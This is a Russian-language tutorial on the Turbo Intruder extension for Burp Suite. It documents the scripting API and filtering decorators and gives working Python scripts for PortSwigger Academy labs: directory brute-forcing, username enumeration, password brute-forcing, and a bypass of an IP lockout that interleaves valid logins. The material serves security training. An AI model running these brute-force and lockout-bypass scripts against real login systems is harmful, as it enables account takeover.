Turbo Intruder и потерянное руководство пользователя

image-loader.svg

Практически каждый, кто хоть немного пользовался Burp Suite, знает про Intruder — инструмент внутри Burp, который позволяет автоматизировать атаки на веб-приложения, такие как брутфорс, фаззинг, майнинг параметров.

Однако, Intruder имеет много ограничений. Например, в Intruder не так много возможностей для генерации и предобработки пейлоадов, а также он плохо подходит для тестирования сложных многоступенчатых атак и race condition. Все это делает Intruder не настолько универсальным инструментом, насколько хотелось бы.

К счастью, существует более изящный инструмент с желаемой функциональностью — расширение Turbo Intruder. Инструмент отличный, но у него отсутствует нормальная документация. Скорее всего многие про него слышали и даже пытались разобраться. Для тех, кто разобраться не смог — предназначена эта статья.

На данный момент самым подробным мануалом является видео с презентацией Turbo Intruder c онлайн конференции Bugcrowd LevelUp 0×03 от создателя расширения и по совместительству главы отдела исследований компании Portswigger — Джеймса Кеттла. Содержание видео частично пересказано в статье Turbo Intruder: Embracing the billion-request attack. Также есть открытый репозиторий с исходным кодом и очень скудным описанием. Ну что же, вооружившись словарём английского и небольшим знанием Python, попробуем приоткрыть завесу тайны Turbo Intruder.

Кратко о Turbo Intruder

Что представляет собой этот инструмент? Если очень грубо, то Turbo Intruder — это Intruder на стероидах, оснащённый авторской имплементацией движка и возможностью кастомизации атак при помощи Python. Движок запросов (на самом деле их несколько, но мы про движок по умолчанию) реализует технологию HTTP-pipelining, которая позволяет достичь высокого рейта отправки запросов. Также это расширение может похвастаться сравнительно небольшим потреблением памяти и гибкой настройкой фильтрации результатов.

Чтобы начать пользоваться Turbo Intruder, необходимо установить его из BApp Store. После этого можно перенаправлять запросы на Turbo Intruder.

Вот так это делается из вкладки ProxyВот так это делается из вкладки Proxy

Если вы выделите мышью какую-нибудь часть запроса перед отправкой в расширение, то она в окне запроса заменится на %s. Этот символ является аналогом символов § § для Intruder, и вы можете перемещать его в любую точку запроса.

Предположим, что перед отправкой запроса мы выделили строку после корневой директории домена. В таком случае основное окно Turbo Intruder будет выглядеть так:

Основное окно Turbo IntruderОсновное окно Turbo Intruder

В нижнем разделе окна находится область для написания скрипта на Python. Над ней есть элемент, который позволяет выбрать готовые скрипты с примерами. Перед тем, как залезть под капот, давайте напишем простой скрипт для Turbo Intruder для брутфорса директорий.

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=100,
                           pipeline=False
                           )
    for word in open('C:\\SecLists\\ Discovery\\Web-Content\\IIS.fuzz.txt'):
        engine.queue(target.req, word.rstrip())

def handleResponse(req, interesting):
        table.add(req)

Он практически полностью повторяет пример из предыдущего скриншота, но есть небольшое изменение — поскольку в качестве операционной системы используется Windows, в адресации встречаются обратные слеши, поэтому мы их экранируем. Не будем останавливаться на подробном разборе скрипта, обо всех элементах вы узнаете из следующей части.

Кстати, стоит отметить, что Turbo Intruder имеет возможность standalone запуска из jar файла.

java -jar turbo.jar    

#Example:
java -jar turbo.jar resources/examples/basic.py resources/examples/request.txt https://example.net:443 foo

Однако, как отмечает автор, в standalone версии сильно урезана функциональность, связанная с Burp API.

Основные объекты и базовая структура скрипта для Turbo Intruder

Скрипт для Turbo Intruder имеет две обязательные базовые функции: queueRequests() и handleResponse()и несколько обязательных объектов. При отсутствии как минимум одной сущности, интерпретатор Python в Turbo Intruder будет выдавать соответствующие ошибки. Например, здесь мы забыли определить функцию queueRequests().

Если что-то не работает, можно заглянуть в окно вывода, там обязательно будет описание ошибки. Найти окно несложно Extender->Extensions→Turbo Intruder→Output→Show in UI.» />Если что-то не работает, можно заглянуть в окно вывода, там обязательно будет описание ошибки. Найти окно несложно Extender→Extensions→Turbo Intruder→Output→Show in UI.</p>

<p>Эти функции отвечают за отправку запросов и обработку ответов соответственно. Разберём каждую из них поподробнее.</p>

<h3>Функция queueRequests ()</h3>

<p>Как было сказано ранее, эта функция отвечает за отправку HTTP-запросов. Она принимает следующие аргументы, но напрямую на них мы влиять не можем, так как они задаются расширением: </p>

<p><code>target</code> — цель атаки, является объектом класса Target, поэтому имеет смысл обращаться только к его атрибутам.</p>

<p><code>wordlists</code> — встроенные словари.</p>

<p>Объект target имеет 4 атрибута: <code>rawreq</code>, <code>baseInput</code>, <code>endpoint</code> и <code>req</code>.</p>

<div><div><table><tbody><tr><td><p>Атрибут</p></td><td><p>Описание</p></td></tr><tr><td><p><code>target.rawreq</code></p></td><td><p>Атрибут rawreq представляет собой HTTP-запрос, который мы послали в Turbo Intruder в бинарном виде, а точнее в виде списка ASCII-кодов символов запроса.</p></td></tr><tr><td><p><code>target.baseInput</code></p></td><td><p>baseInput содержит строку, которую вы выделили перед отправкой запроса в Turbo Intruder.</p></td></tr><tr><td><p><code>target.endpoint</code></p></td><td><p>Этот атрибут содержит URL цели.</p></td></tr><tr><td><p><code>target.req</code></p></td><td><p>Содержит запрос в текстовом виде.</p></td></tr></tbody></table></div></div>

<p>Turbo Intruder имеет три встроенных словаря: <code>wordlists.observedWords</code>, <code>wordlists.clipboard</code> и <code>wordlists.bruteforce</code><strong>. </strong>Все, кроме bruteforce, представляют собой список Python. Первый словарь содержит все встреченные слова из in-scope трафика, второй — строки из текущего буфера обмена, а последний является скорее генератором списка для итерируемого брутфорса из латинских букв. Использование первых двух словарей не вызывает вопросов, остановимся на третьем. Функция <code>wordlists.bruteforce.generate()</code> генерирует список примерно следующего содержания: ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u'….«aa», «ab»….] Ниже следует пример вызова функции и описание аргументов.</p>

<pre><code class=batch = [] # определяем список, в который запишется результат seed = wordlists.bruteforce.generate(0, 30, batch)

Аргумент (тип)

Описание

seed(int)

Аргумент seed задаёт порядковый номер элемента, с которого начинается генерация списка. Например, если мы присвоим ему значение 2, то первым символом в списке будет «b», а если как 27, то «aa».

count(int)

Данный аргумент задаёт количество генерируемых элементов. Если в функцию передать непустой список (list), то сгенерированные элементы прибавятся к списку.

batch(list)

Этот аргумент содержит список, к которому добавятся сгенерированные элементы.

Сама функция возвращает длину списка, который получился в результате генерации и добавления к batch.

Для отправки запроса используется объект RequestEngine — экземпляр класса, который задаёт HTTP движок. Для создания объекта следует использовать конструктор класса RequestEngine(). Ниже будет пример создания такого объекта.

engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=100,
                           pipeline=False)

Нетрудно догадаться, что аргумент endpointзадаёт атакуемый хост, concurrentConnections— количество одновременных подключений и requestsPerConnectionзадаёт количество одновременных запросов на одно подключение. Pipeline определяет, будет ли использоваться технология HTTP-pipelining или нет. На самом деле при создании объекта RequestEngine можно задать гораздо больше параметров.

Параметр

Описание

endpoint(string)

Задаёт URL цели, если вводить вручную, то нужно не забыть про указание схемы и порта.

concurrentConnections(int)

Определяет количество одновременных соединений, инициируемых приложением. По умолчанию 50. Выбирать следует исходя из производительности веб-сервера.

requestsPerConnection(int)

Количество запросов на одно соединение. По умолчанию 100. По истечению их соединение закрывается.

pipeline(bool)

Определяет использование технологии HTTP-pipelining. Работает только для движка Engine.THREADED. По умолчанию False.

engine

В этом аргументе передаётся используемый движок для HTTP-запросов. Всего их 4:

Engine.BURP

Engine.THREADED

Engine.HTTP2

Engine.BURP2  

Всё, что содержит в названии слово BURP задаёт дефолтные встроенные в Burp Suite движки и как следствие имеют ограничения Burp. Engine.THREADED — это кастомный HTTP-движок, который может использовать технологию HTTP-pipelining и умеет работать в многопоточном режиме. Engine.HTTP2— также является кастомным многопоточным движком, но HTTP-pipelining не поддерживает. Возможно, автор в дальнейшем добавит поддержку аналогичной технологии для HTTP/2 — multiplexing. По умолчанию используетсяEngine.THREADED.

maxRetriesPerRequest(int)

Определяет максимальное количество повторных попыток установки соединения. По умолчанию 3.

maxQueueSize(int)

Размер очереди обработки HTTP-запросов. По умолчанию 100.

timeout(char)

Задержка выполнения первого HTTP-запроса. По умолчанию 5.

autoStart(bool)

Автоматический запуск HTTP-движка, по умолчанию True. Если установить в False, то запуск движка инициируется через engine.start().

readSize(int)

Размер буфера TCP сокета. Буфер хранит считанную часть ответа. По умолчанию 1024.

readCallback(func)

Задаёт Callback функцию, которая будет обрабатывать часть полученного ответа размером readSize. По умолчанию None.

resumeSSL(bool)

Использование механизма восстановления сессии SSL. По умолчанию True.

callback(func)

Задаёт Callback функцию, которая будет обрабатывать ответ. По умолчанию ответ обрабатывается функцией handleResponse().

Допустим, при создании объекта класса RequestEngine мы задали имя engine. Чтобы отправить HTTP-запрос нужно использовать метод engine.queue(). Со всеми параметрами функция выглядит так:

engine.queue(req, payload, gate, learn, label), где req определяет отправляемый запрос, payload — пейлоад, который заменяет символы %s, gate — имя метки, которая обозначает группу запросов, которые будут одновременно отправлены при вызове метода openGate(). Параметр learn указывает, чтобы Turbo Intruder запоминал полученные ответы как «скучные», это нужно для фильтрации ответов через параметр interesting. Ниже будет короткий пример:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           )
    for i in range(3, 8):
        engine.queue(target.req, randstr(i), learn=1) # запоминаем не интересные нам ответы
    for word in open('C:\\Users\\Deiteriy\\Dicts\\word.txt'):
        engine.queue(target.req, word.rstrip()) #делаем перебор

def handleResponse(req, interesting):
    if interesting: #добавляем в таблицу ответов, если ответ отличается от «скучного»
        table.add(req)

Имейте ввиду, что запрос не отправится, если в нём не будет символов %s.

Рассмотрим остальные методы и атрибуты объекта класса RequestEngine.

engine.start(timeout) — запуск движка, если параметр autoStart=false

engine.openGate('race1') — отправка всех HTTP-запросов, которые отправлены движком с параметром gate=«race1»

engine.complete(timeout=60) — остановка движка

engine.userState — словарь для записи элементов под нужды юзера. К нему также можно будет обратиться в функции handleResponse()

engine.autoStart — атрибут, который отвечает за автоматическое начало работы движка. Можно изменить в ходе выполнения скрипта

Пейлоадов может быть несколько, если у нас несколько сочетаний символов %s, то каждый будет заменяться соответствующим пейлоадом. Практические примеры будут рассмотрены несколько позднее.

Функция handleResponse ()

Функция handleResponse() отвечает за обработку каждого ответа. В ней имеется функциональность по фильтрации ответов и добавлению их в таблицу результатов, что значительно облегчает задачу поиска нужного ответа. Она принимает следующие аргументы:

req —   объект класса burp.Request. Из него мы можем вытащить содержимое запроса, ответа, разные метрики и многое другое.

interesting — характеристика ответа булевого типа, которая приобретается в случае, если мы передали в engine аргумент learn. Об этом аргументе написано в прошлом разделе.

Остановимся на объекте req. Встроенный в TI скрипт-пример basic.py содержит комментарий, который указывает на четыре доступных атрибута:

# currently available attributes are req.status, req.wordcount, req.length and req.response

Однако, req имеет значительно больше атрибутов. Их описание приведено в таблице ниже:

Атрибут

Описание

req.status (int)

Статус ответа. Также можно обратиться через req.code.

req.wordcount (int)

Количество слов в ответе.

req.length (int)

Длина ответа в байтах.

req.response (string)

Содержимое ответа.

req.request (string)

Содержимое запроса, read-only.

req.template (string)

Возвращает наш изначальный запрос и места добавления пейлоадов, соответственно для всех запросов и ответов будет одинаковый. Read-only.

req.learnBoring (string)

Метка learn для данного запроса.

req.label (string)

Метка label для данного запроса.

req.time (int)

Время, через которое мы получили запрос.

req.requestAsBytes (list)

Возвращает список байтов, в которые преобразован запрос.

req.responseAsBytes (list)

Возвращает список байтов, в которые преобразован ответ.

req.engine

Возвращает объект класса того типа движка, который мы выбрали. Содержит много атрибутов и методов, позволяющих получать различную статистику.

Значения большинства из вышеперечисленных атрибутов можно получить через геттеры, getTime(), getStatus() и другие имена функций, образованные аналогичным образом.

В описываемой функции есть объект table, через который мы можем добавлять выбранные по желаемому критерию ответы в таблицу ответов. Нетрудно вспомнить из примера, приведённого ранее, что метод добавления объекта burp.Request это table.add(). Но в примерах автора не указано, что также можно и удалять записи из таблицы, за что отвечает метод table.remove(), в который нужно передать ненужный нам объект burp.Request.

Для того, чтобы много раз не описывать те или иные фильтрующие правила через нагромождение конструкций if...else, в Turbo Intruder реализованы декораторы — обёртки над функциями, которые уже содержат правило фильтрации. Подробно описывать в этой статье я не буду, лишь приведу пару примеров использования и ссылку на авторское описание.

Декораторы Turbo Intruder глобально можно разделить на три группы:

  • Декораторы соответствия (матчеры) — начинаются со слова Match

  • Декораторы фильтрации (фильтры) — начинаются со слова Filter

  • Декораторы уникальности — начинаются со слова Unique

Первые отбирают в таблицу ответы с необходимым критерием, вторые наоборот исключают. Третья группа несколько сложнее — она отбирает определённое количество экземпляров уникальных ответов с той парой критериев (статус и размер/длина/количество слов), которая указана в декораторе. Например, мы используем декоратор @UniqueSize(2) и получили 1000 ответов разной длины и с разным кодом ответа. Из них 250 ответов длины 270 байт и с кодом ответа 200. Из этой группы будут обработаны только два первых ответа, а ответ с кодом 200 и длиной 271 байт будет в другой группе и из той группы аналогично будут обработаны первые два ответа.

Если нам нужно несколько критериев отбора, то можно применять несколько декораторов сразу. Также если нам нужно несколько значений критерия отбора, многие декораторы принимают на вход больше одного значения.

Рассмотрим синтаксические примеры.

Выбор ответов по коду 400 и 200 выглядит так:

@MatchStatus(400,200)
def handleResponse(req, interesting):
    table.add(req)

Фильтрация ответов по длине:

@FilterSize(127)
def handleResponse(req, interesting):
    table.add(req)

Больше декораторов можно найти по ссылке.

Также в функции handleResponse() есть возможность взаимодействовать с Burp API, но мы не будем на этом останавливаться.

Практические примеры

До этого мы рассматривали абстрактные примеры, чтобы понять как устроены конструкции взаимодействия. Теперь попробуем использовать полученные знания на практике. Для этого рассмотрим несколько примеров из Portswigger Academy.

Примечание: данные решения могут быть не самыми оптимизированными и изящными. Я всего лишь хочу на их примере продемонстрировать некоторые возможности Turbo Intruder.

Задача 1

Мы начнём со своеобразного «Hello, world» — классической задачи на брутфорс пароля в форме аутентификации. Данную задачу можно решить и с помощью встроенного в Burp Intruder.

Условие задачи следующее:

Приложение уязвимо к перечислению пользователей и брутфорсу паролей. Имеется аккаунт с логином и паролем, которые предположительно находятся в следующих словарях:

Для решения следует найти валидный логин и посредством брутфорса определить пароль.

Вот так выглядит окно аутентификации.

image-loader.svg

Вот так выглядит запрос на аутентификацию.

POST /login HTTP/1.1
Host: acc51f311fc39cb9c08f864000d500b7.web-security-academy.net
Cookie: session=0NE43XkiKfslJUHqfCIgmFX54Eow9PI9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: https://acc51f311fc39cb9c08f864000d500b7.web-security-academy.net
Referer: https://acc51f311fc39cb9c08f864000d500b7.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

username=test&password=test

Решение в два скрипта. Сначала мы определяем пользователя.

@FilterRegex(r'.*Invalid username.*') # не добавляем ответы, которые содержат сообщение о несуществующем пользователе
def handleResponse(req, interesting):
    table.add(req)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=100,
                           requestsPerConnection=1,
                           pipeline=False)
    for user in open("A:\\Researches\\Turbo Intruder\\users.txt"):
        engine.queue(target.req, user.rstrip())

Пользователь определился. Это adam.Пользователь определился. Это adam.

Узнав имя пользователя, подставляем его на место %s, а сам указатель на место пейлоада перемещаем в поле password. Потом перебираем его пароль.

@MatchStatus(302) # добавляем запрос с редиректом после успешной авторизации
def handleResponse(req, interesting):
    if "Incorrect password" not in req.response:
        table.add(req)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=100,
                           requestsPerConnection=1,
                           pipeline=False)

    for passw in open("C:\\Researches\\Turbo Intruder\\pass.txt"):
        engine.queue(target.req, passw.rstrip())

Пароль пользователя adam - tigger.Пароль пользователя adam — tigger.

Однако, такое решение практически не будет отличаться от решения с использованием Burp Intruder, за исключением применения более удобного механизма фильтрации ответов через декораторы.

А можно ли решить задачу в один скрипт?

def handleResponse(req, interesting):
    global engine
    if req.status==302: # добавляем ответ с редиректом после успешной авторизации
        table.add(req)
    if "Invalid username" not in req.response and "password=test" in req.request:#Запускаем брутфорс пароля для найденного пользователя
        request = req.request
        request = request.replace("test","%s")
        for passw in open("A:\\Researches\\Turbo Intruder\\pass.txt"):
            engine.queue(request, passw.rstrip())
        
def queueRequests(target, wordlists):
    global engine
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=100,
                           requestsPerConnection=1,
                           pipeline=False)
    
    for user in open("A:\\Researches\\Turbo Intruder\\users.txt"):
        engine.queue(target.req, user.rstrip())

Данное решение более универсальное, подойдёт для случая со многими именами пользователей.  К слову, для этой задачи данное решение тоже подойдёт, если немного поменять в 5 строке условие.

Задача 2

Условие второй задачи:

Приложение имеет уязвимость в логике механизма защиты от брутфорса. Нам даны валидные учётные данные и словарь паролей. Нужно найти пароль пользователя carlos. Вот так выглядит запрос аутентификации.

POST /login HTTP/1.1
Host: ac171fc61fcd1883c0060c3800460024.web-security-academy.net
Cookie: session=ZUEyclIl1D0IhMh3BoQ9CI8MQeX7q777
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://ac171fc61fcd1883c0060c3800460024.web-security-academy.net
Referer: https://ac171fc61fcd1883c0060c3800460024.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

username=wiener&password=peter

При 3 неудачных попытках аутентификации происходит блокировка по IP на минуту, но в логике механизма есть изъян: при успешной попытке аутентификации счётчик провалов сбрасывается. Зная это, напишем скрипт для брутфорса.

import time
counter=0 #добавляем счётчик запросов

def handleResponse(req, interesting):
    global engine
    global counter
    if "carlos" in req.request and req.status==302:
        table.add(req)
    if counter==2: # если два запроса отправлены, то отправляем третий с корректными кредами
        request = req.template
        request = request.replace("username=carlos&password=%s","username=wiener&password=peter%s")
        engine.queue(request, '')
        counter=0
            
def queueRequests(target, wordlists):
    global engine
    global counter
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           requestsPerConnection=1,
                           pipeline=False)
    
    for passw in open("A:\\Researches\\Turbo Intruder\pass.txt"):
        engine.queue(target.req, passw.rstrip())
        counter+=1
        time.sleep(0.5) # добавляем задержку для того, чтобы потоки чередовались, а не исполнялись синхронно

В результате мы нашли пароль пользователя carlos.

Пароль carlos - batmanПароль carlos — batman

Заключение

В качестве источников информации для составления данной статьи выступали материалы Джемса Кеттла и исходный код Turbo Intruder из официального репозитория. Хотелось бы также посоветовать одну хорошую статью с разбором очень интересной задачи. В ней продемонстрирована автоматизация более сложной атаки и извлечение CSRF-токена и сессионной cookie из запроса с последующим их использованием. Ещё хотел бы посоветовать пример отчёта с HackerOne, в котором исследователь обнаружил уязвимость Race Condition и эксплуатировал её с помощью Turbo Intruder.

Хотелось бы также отметить, что Turbo Intruder не безупречен и имеет несколько недостатков:

  • Запросы от кастомных движков не логгируются расширениями Logger и Logger+

  • Встроенная IDE для Python не имеет полноценной подсветки синтаксиса и ошибок, а также вспомогательных функций, например, функции автодополнения.

  • Калибровка параметров может занять длительное время.

© Habrahabr.ru